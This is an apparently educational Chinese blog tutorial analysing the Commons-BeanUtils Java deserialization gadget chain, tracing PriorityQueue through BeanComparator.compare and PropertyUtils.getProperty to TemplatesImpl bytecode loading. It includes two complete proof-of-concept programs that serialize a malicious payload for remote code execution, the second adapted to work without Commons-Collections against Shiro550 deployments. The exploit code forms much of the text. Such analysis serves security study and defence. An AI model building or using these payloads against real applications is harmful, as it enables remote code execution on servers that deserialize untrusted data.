CB链
参考文章:Java反序列化CB链 | root@wanth3f1ag、JAVA反序列化——CB链 - Infernity’s Blog
依赖:jdk:jdk8u65,CB:commons-beanutils 1.8.3
在pom.xml里添加
1
2
3
4
5
6
7
8
9
10
|
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
|
漏洞分析:
什么是 javabean:
CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法,JavaBean 是一种特殊的 Java 类,它遵循一定的命名约定和设计模式,目的是为了组件的可重用性、易用性和在不同环境(如可视化开发工具、框架)中的互操作性。可以把 JavaBean 想象成一个标准化的、自包含的软件组件,它能够通过简单的方式被其他组件或工具使用和操作。
其必须满足几个规则
1
2
3
|
1.必须有无参构造函数 (public 且无参数):框架(如 Spring、Tomcat、Commons-BeanUtils)在底层都是用反射机制 Class.newInstance() 来创建对象的,如果没有无参构造,框架就不知道怎么创建它
2.属性必须私有化 (private):原因: 保护数据,不让外部直接修改字段。
3.必须提供公开的 Getter 和 Setter 方法:外界只能通过 getXxx() 和 setXxx() 来读写数据。框架通过方法名(去掉 get/set 后首字母小写)来推断属性名。
|
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法,我们来看看该方法的定义
1
2
3
|
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
|
一个是JavaBean实例,一个是JavaBean的属性
1
2
3
4
5
|
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();
|
需要注意的是,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter。
因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。
回顾一下之前的CC3,是通过利用TemplatesImpl类的方法去动态加载恶意类从而进行RCE
1
2
3
4
5
|
TemplatesImpl::newTransformer()->
TemplatesImpl::getTransletInstance()->
TemplatesImpl::defineTransletClasses()->
TemplatesImpl::defineClass()->
恶意类代码执行
|
再看看CC4的链子,,是通过TransformingComparator#compare()去触发transform方法的调用从而实现RCE的
1
2
3
4
5
6
7
8
9
|
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
TransformingComparator#compare()
ChainedTransformer#transform()
InstantiateTransformer#transform()
TemplatesImpl#newTransformer()
defineClass()->newInstance()
|
而我们的Commons-beanutils利用链中的核心触发位置就是BeanComparator.compare() 函数,BeanComparator.compare() 函数内部会调用getProperty()方法,进而可以调用JavaBean中对应属性的getter方法
链子分析
BeanComparator.compare()
我们看一下BeanComparator.compare() 函数

这里会调用PropertyUtils#getProperty()方法,简单分析一下
1
2
|
这个方法接收两个对象传入,如果 property 变量是 null则直接比较这两个对象,这时候会直接用comparator实例的compare方法对这两个对象进行比较
如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。
|
在 ysoserial 中利用其来调用了 Temlatesimpl.getOutputProperties() 方法也就是Temlatesimpl类中的 _outputProperties 属性的 getter 方法,所以这里让 o1 为templates对象,然后property为TemplatesImpl的 _outputProperties 属性,即可调用 TemplatesImpl.getOutputProperties(), 往下就是TemplatesImpl的利用链。
来看一下BeanComparator的构造函数

java编译器会根据参数数量和类型匹配相应的构造函数,比如处理这个property属性的值
1
|
BeanComparator comparator = new BeanComparator("outputProperties");
|
就是调用这个构造函数
1
2
3
|
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
|
在ysoserial中是利用的无参构造器实例化一个BeanComparator对象并用反射去进行操作变量的
1
2
3
4
5
6
7
8
9
10
|
public static void main(String[] args) throws Exception {
BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "outputProperties");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
|
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

然后就会调用到TemplatesImpl.getOutputProperties(),这个方法可以调用newTransformer()

接下就说往上找了,哪里调用 compare()?
我们可以用到CC4中的PriorityQueue#readObject()方法,其实就是
1
2
3
4
|
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
|
前面的CC2/CC4链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象,所以调用链以及poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
|
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
BeanComparator#compare()
PropertyUtils#getProperty()
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TemplatesImpl#defineClass()
|
poc1(with CC依赖)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
package org.example;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue<Object>(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象,queue 字段是数组类型,所以这里这里是数组,二就是readobject中有queue = new Object[size];由于size是2,若给queue只赋值一个template,后续fro循环会报错
serialize(priorityQueue);
unserialize("CC4.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|
这个是需要CC依赖的,下面给不需要CC依赖的
poc2(without CC依赖)
换成Shiro550打上面的链子会出现报错,表示没找到org.apache.commons.collections.comparators.ComparableComparator类,从全类名可以看到整个类其实是来自CC依赖的,不过换句话来说,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致了我们在用上面的poc打Shiro550的时候会失败

所以我们要尝试找不需要CC依赖的CB链,我们先看看为什么我们上面的poc会用到CC依赖,看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了

在BeanComparator类的构造函数处,如果没有显式传入Comparator的情况下,就会默认使用ComparableComparator作为比较器。
既然是不需要ComparableComparator,那我们需要另外找一个类进行替代,该类需要满足以下条件:
1
2
|
实现java.util.Comparator接口和java.io.Serializable接口(要Comparator接口原因是定义了一个变量类型是 Comparator,那么只有实现了这个接口的类才能赋值给它。)
Java、shiro或commons-beanutils自带
|
对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。
存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator
1
2
3
|
//下面这两个二选一都可以
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
|
CASE_INSENSITIVE_ORDER对象最后返回一个实例

reverseOrder函数最后会返回一个ReverseComparator2实例

我们只需要利用反射,将对应的comparator写入属性中,就不需要依赖CC库了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
package org.example;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue<Object>(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象,queue 字段是数组类型,所以这里这里是数组
setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
serialize(priorityQueue);
unserialize("CC4.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|
当然还一种写法就是实例化BeanComparator传入
1
|
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|